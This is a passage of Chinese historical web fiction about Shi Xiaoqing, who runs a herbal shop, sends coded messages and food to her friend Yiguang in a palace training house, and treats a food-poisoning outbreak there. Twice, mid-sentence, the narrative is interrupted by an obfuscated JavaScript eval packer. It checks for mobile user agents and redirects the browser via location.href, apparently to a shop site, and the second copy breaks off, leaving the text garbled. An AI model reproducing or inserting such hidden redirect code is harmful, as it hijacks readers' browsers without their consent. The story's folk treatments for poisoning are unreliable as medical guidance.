又换了一身干净的衣裳,一套不大不小、不新不旧、不引人注目但也绝不失礼的靛蓝色衣裙。 她对着铜镜照了照,将头发重新绾过,用那根木簪固定。 铜镜模糊,只能照出大概轮廓,不需要好看,她只需要得体。 素心的马车准时停在悬壶堂门口。 施晓青提着竹篮上了车,马车穿过城南,穿过城门,驶入内城。 马车在一处宅院前停下。 宅院比上回那个更大,门前蹲着两只石狮,门楣上挂着一块匾额,写着“兰苑”二字。字迹清秀,像是女子手笔。 施晓青下了车,跟着素心穿过前院、中院,绕过一道雕花月洞门,眼前豁然开朗。那是一片不大的花园,园中种满了各色兰花,春兰、蕙兰、建兰,有的已经开了,有的还只是花苞。 花香淡淡,混着雨后泥土的湿润气息,沁人心脾。 花园尽头是一间水榭,半架在池塘上。 池中锦鲤悠闲地游动,偶尔跃出水面,溅起细碎的水花。 水榭里已经坐了几个人,都是女子,年纪不一,衣饰各异,但气度都不俗。 夫人坐在主位,今日穿了一身藕荷色的衣裙,发髻上插着一支碧玉簪,衬得她整个人温婉如水。 见施晓青进来,她笑着招手:“施姑娘,来,坐这边。” 施晓青走过去,将竹篮放在桌边,行了一礼。 “夫人,生辰吉乐。这是民女自己做的四花蜜茶,不值什么钱,望夫人不要嫌弃。” 夫人接过竹篮,打开,看见那个陶罐和罐上贴的小纸条,笑了。 “四花蜜茶?这名字倒是有趣。是你自己起的?” “是。” “玫瑰花、桂花、菊花、薄荷,加蜂蜜?”夫人念着纸条上的字,“这搭配,倒是头一回听说。” “夫人试试,若不喜欢,放着便是。” 夫人将那罐茶递给身边的丫鬟,让她去冲泡。然后拉着施晓青坐下,给她介绍在座的几位女子。 “这位是李夫人,王宫里的女史。”一位三十出头、面容端庄的女子微微颔首。 “这位是王夫人,城东织坊的东家。”一位四十来岁、眉眼精明的女子笑着点了点头。 “这位是张娘子,范大夫府上的管事。”一位三十五六、气质干练的女子看了施晓青一眼,目光里带着几分审视。 施晓青一一见礼,不卑不亢。 这些人,每一个都有她的用处。 女史管着王宫里的文书,织坊东家掌握着城东的商脉,范大夫府上的管事是离范蠡最近的人。 茶过三巡,丫鬟端上了那壶四花蜜茶。 夫人亲自斟了一杯,举到鼻端闻了闻,眉眼舒展。 “好香。” 她抿了一口,眼睛亮了起来,“清甜,不腻,还有一股淡淡的薄荷凉意。施姑娘,你这茶,是怎么想到的?” “小时候常喝薄荷茶,后来到了会稽,见城里有卖花茶的,便试着把几种花配在一起。”施晓青说,“试了好多次,才定了这个方子。” “倒是心灵手巧。”李夫人也斟了一杯,品了品,“这茶若是拿到市面上卖,怕是能卖个好价钱。” 施晓青笑了笑,她不需要卖茶,她需要的是这些人的信任。 宴席设在花园里,菜品不算多,但精致。 清蒸鲈鱼、桂花藕粉、荷叶糯米鸡、几碟时令小菜,还有一碗热气腾腾的笋汤。 施晓青吃得不多,更多时候在听。 李夫人说着王宫里的琐事:哪个妃子又得了新衣裳,哪个太监被罚了俸禄,哪个地方进贡了一批上好的丝绸。 王夫人说:“今年蚕丝收成不好,价格涨了三成,订货的人却多了,忙不过来。” 张娘子说:“范大夫最近很忙,经常不在府里,好像是去了边境。” 宴席散时,日头已经西斜。 夫人留施晓青单独说话。 两人坐在水榭里,丫鬟上了新茶,退了出去。夫人端着茶杯,看着池中游动的锦鲤,沉默了一会儿。 “施姑娘,”她开口,“你那个朋友的消息,我让人打听到了。” 施晓青的手微微一顿:“夫人请说。” “她很好。训练很刻苦,吴嬷嬷很喜欢她。她比同批的其他女子学得快,尤其是歌舞,听说已经能单独表演了。”夫人顿了顿,“不过,她好像不太合群。别的女子会凑在一起说笑,她总是一个人待着。” 施晓青的心揪了一下,不合群、一个人待着……那是夷光在苎萝村时的样子。 那时候,村里其他女子也不跟她亲近,不是因为讨厌她,而是因为她的美让人有距离感,让人不敢靠近。 “她……有没有受委屈?”施晓青问。 “没有。”夫人摇摇头,“范大夫亲自过问她的情况,没人敢给她委屈受。不过……” 她犹豫了一下,“有件事,我不知道该不该告诉你。” “夫人请说。” “教习坊里,有个姓郑的女子,叫郑旦,跟你那朋友关系很好。两人住一间屋,做什么都在一起。”夫人看着施晓青,“你那朋友,不是完全一个人。她有一个朋友。” 施晓青愣了一下,随即眼眶有些发热。 郑旦,她听说过这个名字。 夷光在信里提过,说有个姑娘跟她一起被选上的,爱笑,爱说话,叫郑旦。 夷光说她有朋友了,在那个与世隔绝的地方,能说说话、一起吃顿饭、一起熬过漫漫长夜的朋友。 “那就好。” 施晓青低下头,声音有些哑,“那就好。” 夫人看着她,目光里有些心疼:“施姑娘,你为这个朋友,做了这么多。她知道吗?” “不需要她知道。” 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她站在门口,看着巷子里昏暗的灯光,看着远处内城方向隐约的灯火,深深地吸了一口气。 会稽城的春天,夜晚还是有些凉,风吹过巷子,带来隐隐丝竹声。 夷光,我很快就要给你送东西了,是薄荷叶,你最喜欢的薄荷叶。 你收到的时候,会不会笑?会不会像在苎萝村那样,微微弯一弯嘴角,然后说“阿青,你又来了”? 她推开门,走进铺子,点上油灯。 然后从药柜里取出那包最好的薄荷叶,一片一片地挑选。那些叶子是她在城南的山坡上采的,晾晒了整整七天,每一片都完整、干净、散发着清苦的香气。 她用一块干净的粗布把叶子包好,又在那块布的角落里,用密码文字写下几个字:“我很好。别担心。” 夷光能看懂的。 那是她们之间独有的语言。 她把布包好,放在柜台下面,等着明天交给素心。 风从窗缝里钻进来,吹动油灯的火苗,摇摇晃晃,像是谁在轻轻点头。 夜深了,会稽城安静下来,只有远处的更夫敲着梆子,一下,一下,又一下。 只有悬壶堂一盏小小的油灯,还亮着。 * 素心一早便来了,施晓青把那包叶子交给她,又嘱咐了几句:“不显眼,就放在衣裳口袋里,若有人问,说是泡水喝的便成。” 素心接过,随手揣进袖中,点了点头便走了。 施晓青站在门口,看着那辆青帷马车消失在巷口,站了很久。 薄荷叶送进去了。可夷光能不能收到,什么时候收到,收到了会不会认出是她送的,她一概不知。 她已经做了自己能做的。 剩下的,交给运气吧。 23. 带话 教习坊,三日后。 夷光收到那包薄荷叶时,正在后院的廊下练舞。 一个送饭的丫鬟从她身边经过,脚步顿了一下,飞快地将一个小布包塞进她手里,压低声音说了句:“有人托我带给你的。” 便头也不回地走了。 夷光愣了一下,低头看着手里那个粗布小包。 布包不大,手感轻飘飘的,隐约散发着一股淡淡的、熟悉的香气。 她的心跳忽然快了起来。 她攥着布包,快步走回屋,关上门。郑旦不在,屋里只有她一个人。她在床边坐下,深吸一口气,慢慢打开布包。 里面是一把晒干的薄荷叶。 绿中泛黄的叶子,干燥而完整,散发着清苦的、沁人心脾的香气。 夷光的手指微微发颤,她把叶子倒在掌心,一片一片地翻看。 然后她看见在布包的角落里,用炭笔画着几个细小的、歪歪扭扭的符号。 那是她熟悉的符号,是阿青教她的、只有她们能看懂的密码文字。 “我很好。别担心。” 夷光的眼泪忽然就掉了下来,一滴一滴地落在掌心的薄荷叶上,落在那些干燥的、脆弱的叶片上。 她连忙用手背擦眼泪,怕泪水打湿了叶子,又怕擦得太用力把叶子弄碎了。 她捧着那些叶子,像捧着什么稀世珍宝。她把脸埋进掌心里,深深地吸了一口气,薄荷的香气涌入鼻腔,清苦而熟悉。 苎萝村的溪水味、阿青后院那个小药圃的泥土味、那些月光下的夜晚、那些不能说给别人听的话。 阿青她真的来了!她就在会稽城!!她找到了办法把东西送进来!!! 夷光哭到眼睛发红,鼻子发堵。 郑旦推门进来吓了一跳:“夷光!你怎么了?谁欺负你了?” 夷光摇摇头,把薄荷叶和布包藏进袖子里,用袖子擦了擦脸:“没事,眼睛进了沙子。” 郑旦看着她红肿的眼睛,又看了看她藏东西的动作,没有追问。 她走过来,坐在夷光旁边,伸手揽住她的肩膀:“不想说就不说。但你记住,我在这儿呢。” 夷光靠在她肩上,闭上眼,把那包薄荷叶攥得紧紧的。 夜里,郑旦睡着了。 夷光坐在窗边,把那包薄荷叶从枕下摸出来,又看了一遍。那些密码文字,她看了无数遍,每一个笔画都烂熟于心。 可她还是要看,要确认,要让自己相信阿青真的在会稽城,阿青真的找到了她,阿青说她很好。 她把布包重新折好,贴在胸口,然后她拿起一块干净的帕子,用指甲蘸着水,在帕子的一角,一笔一划地写下回信。 她写得很慢,很小心,每一个符号都反复描摹,怕写错了,怕阿青看不懂。 写完之后,她把帕子晾干,折好,藏在枕头底下。 接下来要怎么把这块帕子送出去…… …… …… 教习坊管得严,进出的东西都要检查。 送饭的丫鬟、洗衣的婆子、打扫的杂役,每一个人进出都要经过守卫的查验。 普通的物件或许能混过去,但一块写了字的帕子……若是被人发现,不仅她麻烦,阿青也会有麻烦。 她需要一个可靠的人,一个能进出教习坊、又不会多嘴多舌的人。 每一个出入教坊司的人: 送饭的丫鬟,每天来三次,每次都很匆忙,没有多余的时间说话。 洗衣的婆子,每隔两日来一次,收走脏衣裳,送回干净的,但那个婆子嘴碎,爱打听,不可靠。 打扫的杂役,是个沉默寡言的年轻男人,每次来都低着头干活,从不跟人多说一句话。 夷光注意那个杂役好几天了。 他大约二十出头,皮肤黝黑,身材瘦削,穿着一身旧短褐,手里总是拿着扫帚和簸箕。他从不抬头看人,也从不在教习坊多待一秒,干完活就走。 有一天,夷光无意中在他打扫的廊下掉了一块帕子。 那杂役看见了,捡起来,低着头递给她:“姑娘,你的帕子。” “多谢。”夷光接过,看了他一眼,“你叫什么名字?” 那杂役愣了一下,似乎没想到会有人问他名字:“小人……叫阿福。” “阿福,”夷光笑了笑,“你每日都来打扫吗?” “是。小人负责教习坊这一片的洒扫。” “那你每天什么时候来?” 阿福犹豫了一下,还是回答了:“每日午后。” 夷光点了点头,没有再问。 她没有急着把帕子交给阿福,不能太冒险。 又过了几日,夷光确认阿福是个可靠的人。 他不跟人多说话,不看不该看的东西,不问不该问的事。他只是干活,干完就走。 这样的人,是最好的信使。因为他不会好奇,不会多嘴,不会把不该说的事说出去。 午后,阿福正在廊下扫地,夷光走过去,将一块叠得整整齐齐的帕子塞进他手里。 “阿福,帮我把这个带出去。交给城南悬壶堂的施姑娘。” 阿福的手顿了一下:“姑娘,这……” “不会让你白跑。”夷光从袖子里摸出几个铜板,塞进他手里,“你每天午后打扫完,会从后门出去。悬壶堂在城南柳巷,不远。” 阿福低头看着手里的帕子和铜板,沉默了片刻:“姑娘,这帕子上写了什么?” “没什么。”夷光说,“是一个朋友想知道我好不好。你帮我告诉她,我很好。” 阿福抬起头,第一次正眼看她,他的目光里有些什么复杂的情绪,但最终只是点了点头。 “好。” 他把帕子塞进怀里,继续扫地,像什么都没发生过。 傍晚,施晓青正在铺子里给一个孩子看咳嗽,门外进来一个穿着旧短褐的年轻男人。 男人皮肤黝黑,身材瘦削,低着头,手里攥着什么东西。 “你是施姑娘?”他问。 “我是。你是?” 男人把一块帕子递给她:“有人让我带给你的。” 施晓青接过帕子,展开。 帕子的一角,用指甲蘸着水画着几个细小的、歪歪扭扭的符号: “我也很好。别担心我。等我。” 她的手猛地攥紧了帕子。 那些符号,她太熟悉了,那是她教夷光的,是她们之间独有的语言。 “给你帕子的人……她怎么样?”施晓青的声音有些发颤。 “她很好。”阿福说,“她说,让你别担心。” 施晓青低下头,看着那块帕子,看了很久。然后她从柜台里拿出几个铜板,塞到阿福手里。 “谢谢你。以后……你还能帮我带东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486898|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西进去吗?” 阿福犹豫了一下:“能。” “那以后,每隔几日,你来我这里一趟。有东西就带,没有就不带。别让人知道。” “好。” 阿福走后,施晓青坐在柜台后面,把那块帕子看了又看。 短短几个字,她看了无数遍,看到那些笔画在视线里模糊,又清晰,又模糊。 她等到了!她终于等到了夷光的消息! 施晓青把帕子贴在胸口,闭上眼。眼泪从眼角滑下来,无声无息,落在柜台上,落在那些草药包上,落在那块写着“悬壶堂”的招牌上。 夜里,施晓青坐在小厢房的床边,把那块帕子叠好,收进怀里,贴着那根麻绳带子。 带子已经很长的,她用手指量了量,从这头到那头,已经比她伸直双臂再向外延伸七掌还长。 她把带子和帕子放在一起,贴着心口的位置。 夷光,你的消息,我收到了。 你很好,那我就放心了。 她吹熄油灯,躺在黑暗中。 窗外月色很好,照在枇杷树的叶子上,泛着银白色的光。 远处,隐隐约约有丝竹声传来,那是教习坊的方向。 那些音乐,以前听起来很远,很飘渺,像是另一个世界的声音。可今夜,它们听起来很近,近得像是在耳边,像是一个人在轻轻哼唱,哼着一首只有她听得懂的歌。 施晓青闭上眼,嘴角带着一丝笑,梦里都是甜的。 阿福每隔三日来一次悬壶堂。 有时候施晓青让他带东西进去:一包薄荷叶、一小罐蜂蜜、几块她自己做的桂花糖。 有时候只是让他带几句话: “我很好。” “今天生意不错。” “城南的桃花开了。” 夷光的回信也断断续续地传出来。 一块帕子、一片树皮……还有…… “今天舞练完了,很累,但还好。” “郑旦今天又笑了,她笑起来真好看。” “月亮很圆,想你。” 每一条消息,施晓青都仔仔细细地记在桑树皮上。 她把那些零散的文字拼在一起,在心里勾勒出夷光在内城的日子,辛苦的、孤独的、但也在慢慢适应的、也在努力活下去的。 她把这些消息收在床底下的那个木盒里,和那根麻绳带子放在一起。 那是最珍贵的东西,比房契珍贵,比铺子珍贵,比任何东西都珍贵。 因为夷光的声音隔着高墙、隔着守卫、隔着重重阻碍,依然能传到她耳边。 证明她们都没有放弃。 稽城的春天快要过完了。 城南的槐花开了一树,白花花的,风一吹,花瓣像雪一样飘下来,落在地上,落在行人的肩上,落在悬壶堂的招牌上。 施晓青站在门口,看着那些飘落的花瓣,想起苎萝村的春天。 苎萝村的春天也有槐花,也有飘落的花瓣,也有一个蹲在溪边浣纱的少女,回过头来,对她轻轻弯了弯嘴角。 她伸手接住一片花瓣,握在手心里。 夷光,春天过完,夏天就要来了。 你那边热不热?有没有人给你送绿豆汤?你练舞的时候会不会中暑? 她转身走进铺子,从柜台下面拿出一包绿豆,开始熬汤。 明天,让阿福带进去。 24. 夏至 四月末,会稽城开始热了。 城南的巷子里,阳光从早到晚地晒着,把青石板路晒得发烫。 卖冰饮的小贩推着车在街上叫卖,孩子们围在车边,手里攥着几文钱,眼巴巴地看着那一碗碗加了蜜水的碎冰。 施晓青有时也会买一碗给来看病的孩子,那些孩子大多是穷苦人家的,平日里连饭都吃不饱,更别说冰饮了。 她看着他们捧着一碗冰,小心翼翼地舔,眼睛亮得像星星,心里就软得一塌糊涂。 记忆里夷光小时候也爱吃冰,苎萝村的夏天,溪水冰凉,夷光会把脚浸在溪水里,捧着一片荷叶,荷叶上放着几块从镇上买回来的碎冰,冰上淋着一点蜂蜜。 她会先舔一口,然后眯起眼睛,像一只满足的猫。 那时候她们还不熟,施晓青只是远远地看着,看着那个美丽的少女在溪边吃冰,心里想着:她真好看,好看得像画里的人。 如今,画里的人被困在内城的高墙里。 她还能吃到冰吗?还有人给她送冰饮吗?郑旦会陪她一起吃吗? 施晓青不知道,但她要把自己能做的都做了。 她让阿福隔一日送一次绿豆汤,就用陶罐装着,罐口封得严严实实,外面裹着厚厚的粗布,防止洒出来。 绿豆汤里加了薄荷和一点点蜂蜜,清甜解暑,是夷光小时候爱喝的味道。 “施姑娘,”阿福接过陶罐,犹豫了一下,“那位姑娘说,绿豆汤很好喝。她还说,让你别总给她送东西,留着自己吃。” 施晓青笑了:“我吃过了。这是给她留的。” 阿福看了她一眼,没有再多说,把陶罐揣进怀里,低着头走了。 施晓青站在门口,看着阿福的背影消失在巷口,忽然想起阿福每次来,都是午后。 午后的日头最毒,他从内城走到城南,要走大半个时辰,怀里还揣着陶罐。她应该给他也准备一碗绿豆汤的。 下次,给他也留一碗。 五月初,悬壶堂来了一个特殊的病人。 那是一个四十来岁的男人,穿着半旧的绸衫,面容清瘦,眉宇间有一股书卷气。 他一进门就四处打量,目光在药柜上停了很久,最后落在施晓青身上。 “你就是施姑娘?” “我是。您哪里不舒服?” 男人在椅子上坐下,伸手给她看脉。 施晓青把手指搭上去,认真地感受着脉搏的跳动。 她不是真正的郎中,脉理只是略知一二,但她学得快,又肯下功夫,几个月下来,已经能摸出个大概了。 “您的脉象有些虚,”她说,“是不是最近睡不好,胃口也不太好?” 男人点了点头:“是。最近事情多,心里烦,吃不下,也睡不着。” 施晓青又问了几个问题,心里大概有了数。 不是病,是累的,心累。这种病,吃药是治不好的。但她还是从药柜里抓了几味药,酸枣仁、百合、茯苓、甘草,用纸包好。 “这个拿回去,每天晚上睡前煮水喝,能帮您睡得安稳些。但最重要的,还是要放宽心。有些事,急不来,也躲不掉。您想开了,身体自然就好了。” 男人接过药包,看着她,目光里有些复杂的情绪:“姑娘年纪不大,说话倒是老成。” 施晓青笑了笑:“见得多了,自然就懂了。” 男人没有再多说,从袖子里摸出几粒碎银放在柜台上,转身走了。 施晓青拿起那几粒碎银,看了看,又放下了,太多了,够普通人家吃一个月的饭。 这个人,不是普通人。 她拿起炭笔,在桑树皮上记下:五月初三,来一中年男子,穿半旧绸衫,脉虚,心累,出手阔绰。疑似非富即贵,身份待查。 这是她的习惯,每一个看起来不普通的病人,她都会记下来。 说不定哪天,这些信息就能用上。 * 五月初五,端午节。 会稽城热闹非凡,街上到处都是卖粽子的、卖菖蒲的、卖雄黄酒的。 孩子们手腕上系着五彩丝线,脖子上挂着香囊,跑来跑去,笑声清脆得像铃铛。 施晓青站在悬壶堂门口,看着那些热闹,心里空落落的。 在苎萝村,端午节是要包粽子的。 阿母会早早起来,把糯米泡上,把粽叶洗干净,然后坐在院门口,一边包粽子一边跟邻居说话。 她包的粽子不大,但结实,每个角都尖尖的,用草绳扎得紧紧的。煮出来的粽子,糯米的香和粽叶的香混在一起,整个院子都是那个味道。 她爱吃甜粽,蘸着蜂蜜吃,能吃好几个。 阿母总说她:“吃那么多甜的,小心牙疼。” 她就笑着说:“不怕,我有薄荷叶,牙疼了就含一片”。 今年,她吃不到阿母包的粽子了。 施晓青吸了吸鼻子,转身走进铺子,从柜台下面拿出几片粽叶和一小盆泡好的糯米。 她不会包粽子,但可以学。 她试着把粽叶折成漏斗状,放米,包起来,用草绳扎。第一个散了,第二个漏了,第三个歪歪扭扭的,勉强有个粽子的形状。 她包了一下午,包了十几个,大大小小,歪歪扭扭,丑得不像样子。 但她还是很满意。 她把粽子煮了,挑了几个好看的,用荷叶包好,交给阿福,让他带给夷光。 “告诉她,端午节快乐。”施晓青说,“粽子是我包的,不好看,但应该能吃。” 阿福接过荷叶包,点了点头,走了。 傍晚,阿福回来了。 他没有带东西,只是口头转述了一句话:“那位姑娘说,粽子很好吃。她还说,她也会包粽子了,是郑旦教她的。等以后……等以后见面了,她包给你吃。” 施晓青站在柜台后面,手里攥着一块抹布,眼泪忽然就掉了下来。 等以后见面了…… 她用力点了点头,像是夷光就在面前,像是她能听见。 “好,”她说,“我等。” 五月中旬,施晓青收到了一封从苎萝村来的信。 信是翠儿托人捎来的,用着最粗糙的麻布,上面的字虽然歪歪扭扭,但每一个字都是独立的、可辨认的。 翠儿学会写字了。 施晓青捧着那块麻布,自习看着。 上面写着:“阿青,你阿母很好,我也很好。村里一切都好,你别担心。你寄回来的东西都收到了,你阿母很高兴,每天都把你的信拿出来看,虽然她不识字,但她就是喜欢看。翠儿。” 施晓青把麻布折好,收进怀里,贴着那根麻绳带子。 她拿起炭笔,在桑树皮上写回信。 她把树皮折好,又包了一小包桂花糖、一小罐薄荷膏、几块她自己在城里买的布料,用粗布裹成一个包袱,交给货郎,让他带回苎萝村。 货郎接过包袱,掂了掂:“姑娘,你这隔三差五就往家里寄东西,自己不过日子了?” 施晓青笑了笑:“过得下去。我在这儿有吃有住,花不了什么钱。家里就我阿母一个人,我不寄给她,谁寄给她?” 货郎叹了口气,没有再说什么,扛着包袱走了。 * 会稽城下了一场大雨。 雨从傍晚开始下,越下越大,到夜里已经成了暴雨。雷声滚滚,闪电一道接一道地劈下来,把天空撕成碎片。 施晓青坐在小厢房的床边,听着外面的雨声,睡不着。 内城的房子比她的好,应该不漏雨吧? 夷光怕不怕打雷? 在苎萝村的时候,夷光是不怕的。 她说雷声像是老天爷在打鼓,听着听着就睡着了,可现在,她一个人在教习坊,身边只有郑旦。 郑旦怕不怕打雷?她们会不会挤在一张床上,捂着耳朵,等雷声过去? 施晓青从怀里摸出那根麻绳带子,在黑暗中慢慢地编。 雷声很大,但她听不见了。她只听得见自己编带子的声音,细细的,密密的,像雨声,又像心跳。 第二天一早,雨停了。 施晓青打开门,看见巷子里一片狼藉。 树叶落了一地,几个摊位的棚子被吹翻了,一只木桶在街中间滚来滚去。 她挽起袖子,开始清理。 先扫门口的落叶,再把被风吹歪的招牌扶正,然后去帮隔壁的摊主捡被吹跑的东西。 等她忙完,已经是中午了。 她坐在门口的石阶上,喘着气,看着渐渐恢复秩序的巷子,心里忽然很平静。 会稽城的夏天,还是和苎萝村不一样。 苎萝村的夏天是安静的,溪水声、蝉鸣声、风吹过竹叶的声音,一切都是慢慢的、懒懒的。会稽城的夏天是热闹的,叫卖声、车马声、孩子们的欢笑声,一切都是快的、急的。 但无论在哪里,夏天就是夏天。 热,闷,偶尔有一场大雨,把人浇得透心凉,然后又是一个大晴天,把地上的水渍晒干,把人的心情晒得软绵绵的。 施晓青站起来,拍拍身上的土,走进铺子。 新的一天,开始了。 * 五月将尽,会稽城入了梅。 雨淅淅沥沥地下个不停,空气里弥漫着一股潮湿的霉味,晾了几日的衣裳总也不干,连药柜里的草药都有些发潮。 施晓青每日多了一道工序,把那些容易受潮的药材拿出来翻晒,若是没有太阳,便在屋里生一盆炭火,慢慢地烘。 她正蹲在炭火盆边翻着茯苓片,铺子的门被人一把推开了。 来的是素心,脸色发白,额角沁着细密的汗珠,衣裳下摆沾满了泥水,像是跑着来的。 “施姑娘!”素心的声音发紧,“夫人让我来接你,快跟我走!” 施晓青站起来,拍了拍手上的灰:“怎么了?” “教习坊出事了。”素心压低声音,眼睛里带着几分惊恐,“好几个女子突然上吐下泻,发热不退,有一个已经昏过去了。坊里的大夫看不好,吴嬷嬷急得团团转。夫人说,你或许有办法。” 施晓青的心猛地一沉:“等我一下。” 她转身走进后院,提起药箱,又从药柜里多抓了几味药,藿香、苍术、陈皮、半夏、茯苓。 这些是治湿阻中焦、霍乱吐泻的常用药,无论是什么原因引起的,先用这些稳住局面总没错。 她跟着素心上了马车。 马车在雨中疾驰,穿过城南,穿过城门,驶入内城,直接驶向了一个施晓青从未去过的教习坊。 马车在一道高高的粉墙前停下。 墙上爬满了青藤,墙头露出几座楼阁的飞檐。 门前站着两个腰佩长刀的兵士,面色冷峻,目光如鹰。 素心从怀里掏出一块铜牌,递给守卫。 守卫看了看,又看了看马车里的施晓青,皱了皱眉。 “她是大夫。”素心说,“夫人请来的。” 守卫犹豫了一下,挥了挥手,马车驶进了那道门。 教习坊比施晓青想象的大。 几进几出的院落,错落有致的房舍,游廊相连,曲径通幽。院中种着许多花木,雨打在上面,沙沙作响,空气里弥漫着泥土和花叶的湿润气息。 可此刻,这片幽雅的院落里到处都是紧张的气氛。 丫鬟和仆从脚步匆匆,脸上都带着不同程度的焦虑。几个穿着统一浅色衣裙的年轻女子站在廊下,神色惶恐,交头接耳。 素心领着施晓青穿过一道月洞门,来到一间宽敞的厢房。 厢房里弥漫着一股浓重的药味和呕吐物酸腐的气息。 几张床榻上躺着几个年轻女子,有的面色潮红,有的脸色灰白,有的蜷缩着身子,抱着腹部低声呻吟。 吴嬷嬷站在床边,脸色铁青。 见素心领着一个年轻姑娘进来,她的眉头皱得更紧了:“这就是夫人说的那个大夫?” “是。”素心说,“施姑娘,城南悬壶堂的。” 吴嬷嬷上下打量了施晓青一番,目光里满是怀疑:“这么年轻?” 施晓青没有理会她的质疑,放下药箱,走到最近的一张床榻前。 床上躺着一个十七八岁的女子,面色潮红,呼吸急促,嘴角还残留着呕吐物的痕迹。 “发烧了,很烫。”施晓青收回手,转头看向一旁的丫鬟,“什么时候开始发病的?” “回、回小姐……大多是昨儿夜里,也有今儿一早才烧起来的……” “都吃了什么?喝了什么?” “吃食……和往常差不多的……” “有没有别人也这样?” “有、有好几个……都是这院里的……” 施晓青眉头微蹙,语速快了起来:“发热、呕吐、腹泻,有的还肚子疼。不是疟疾,也没出疹子,更不是时疫。” 她顿了顿,目光扫过屋内众人,最后落回丫鬟脸上:“发病的都在这院子里,但不是所有人都病了。” 丫鬟茫然地点头。 “不是水的问题,也不是空气。”施晓青低声自语。 那问题就出在吃的上面,多半是食物中毒。 “她们昨天吃了什么?”施晓青问。 吴嬷嬷想了想:“昨天的晚饭是厨房统一送的,所有人吃的都一样。但隔壁院子的人也吃了,并没有人发病。” “那有没有什么是只有这个院子的人吃了,别人没吃的?” 吴嬷嬷愣了一下,看向旁边的一个丫鬟。 丫鬟想了想,忽然脸色一变:“昨日下午……有人送了一篮子枇杷来,说是外头进贡的,只送了这个院子。” “枇杷?”施晓青心头一动,“还有剩下的吗?” 丫鬟去拿了几颗剩下的枇杷来。 施晓青接过,仔细看了看,表皮光滑,颜色金黄,看起来并没有什么异常。她掰开一颗,凑近闻了闻,又用指甲刮了一点皮上的白霜,放在舌尖上舔了舔。 微微的苦味,不正常。 “这枇杷有问题。”她放下枇杷,“不是枇杷本身的问题,是皮上沾了什么东西。可能是农药,也可能是别的什么毒物。但量不大,所以不是所有人都中毒,只有吃得多的人症状严重。” 吴嬷嬷的脸色更难看了:“有人投毒?” “不一定。”施晓青说,“也可能是意外。枇杷在采摘或运输过程中,沾染了不该沾的东西。现在最重要的是先救人,查毒的事可以慢慢来。” 她打开药箱,把带来的几味药拿出来。藿香、苍术、陈皮、半夏、茯苓……这些都是解毒化湿、和胃止呕的常用药。 她快速配了几副,交给丫鬟去煎。 “煎好之后,先给症状最重的那个灌下去。不要太烫,温温的就行。一次灌小半碗,隔一个时辰再灌一次。” 她又从药箱里拿出一个小陶罐,里面是她自制的绿豆粉:“这个用温水调成糊,给她们敷在肚脐上,能缓解腹痛。” 安排完之后,她走到症状最重的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施晓青撑着伞,跟在素心身后,目光却不由自主地向四处张望。 教习坊……这就是夷光生活的地方。 这些游廊,这些院落,这些花木,这些石子路……夷光每天都在这里走过吗?她走的是哪条路?她住在哪个院子?她此刻在哪里?她知不知道,她来了? “施姑娘?”素心回头看她,“怎么了?” “没什么。”施晓青收回目光,加快脚步跟上。 她们穿过一道月洞门,来到另一个院子。 这个院子的格局和刚才那个差不多,但更安静,更整洁。几个年轻女子站在廊下,看见她们,好奇地张望着。 施晓青的目光从她们脸上一一扫过——都不是夷光。 “这个院子的人,有没有不舒服的?”她问。 一个丫鬟上前回答:“回姑娘,没有。大家都好好的。” 施晓青点了点头,正要转身离开,目光忽然被游廊尽头的一个身影吸引了。 那个身影背对着她,站在一丛翠竹旁,穿着一身浅青色的衣裙,头发简单地绾着,身形清瘦而挺拔。 即使只是一个背影,即使隔了那么远的距离,施晓青还是一眼就认出了她。 夷光。 她的脚像被钉在了地上,一步也迈不动了。 素心走了几步,发现她没跟上来,回头一看,见她愣在那里,顺着她的目光看过去。 “施姑娘,你认识那个人?” 施晓青张了张嘴,声音却像卡在喉咙里,发不出来。 她只能摇头,又点头,又摇头。 那个身影似乎感觉到了什么,微微侧过头,刚好露出半张脸。 白皙的皮肤,清秀的轮廓,还有那一抹似有若无的、带着几分忧愁的神情。 是她,是夷光。 施晓青的心跳得像是要从胸腔里蹦出来,她想喊,但喊不出。 她想跑过去,脚却像灌了铅。 她只能站在原地,死死地盯着那个方向,生怕一眨眼,那个身影就会消失。 夷光转过了头。 她们的目光,隔着雨幕,隔着游廊,隔着来来往往的丫鬟和仆从,在空气中撞在了一起。 那一瞬间,时间仿佛静止了。 天地间只剩下她们两个人,远远地站着,远远地看着对方,远远地确认着彼此的存在。 夷光的眼睛红了,嘴唇微微颤抖,像是在忍着什么巨大的情绪。她的手攥紧了袖口,指节泛白。 施晓青的眼睛也红了。她没有动,只是站在那里,看着夷光,用尽全力地看着她, 瘦了,真的瘦了。 下巴尖了,脸颊的肉少了,眼下的青影重了。 可她还是那么好看,好看得让人心疼,好看得让人想哭。 “施姑娘?”素心的声音把她拉回现实,“你没事吧?” 施晓青深吸一口气,用力眨了眨眼,把眼泪逼回去:“没事。走吧。” 她转过身,跟着素心走了。 不能回头,回头就会忍不住跑过去,跑过去就会惹麻烦,惹麻烦就会害了夷光。 所以只能往前走,一步一步,走得稳稳的,像什么都没发生过。 那天傍晚,中毒的女子们都稳定下来了。 症状最重的那个也醒了,虽然还很虚弱,但已经没有生命危险。 施晓青把后续的用药和护理方法详细地写在一张树皮上,交给吴嬷嬷,又叮嘱了几句注意事项,才收拾药箱准备离开。 吴嬷嬷送她到门口,沉默了一会儿,忽然说:“施姑娘,你那个朋友,叫施夷光吧?” 施晓青的手一顿:“吴嬷嬷怎么知道?” “她来找过我。”吴嬷嬷说,“今天下午,你走了之后,她来问我,那个来看病的姑娘叫什么名字,住在哪里。我没有告诉她,但我看得出来,她认识你。” 施晓青低下头,没有说话。 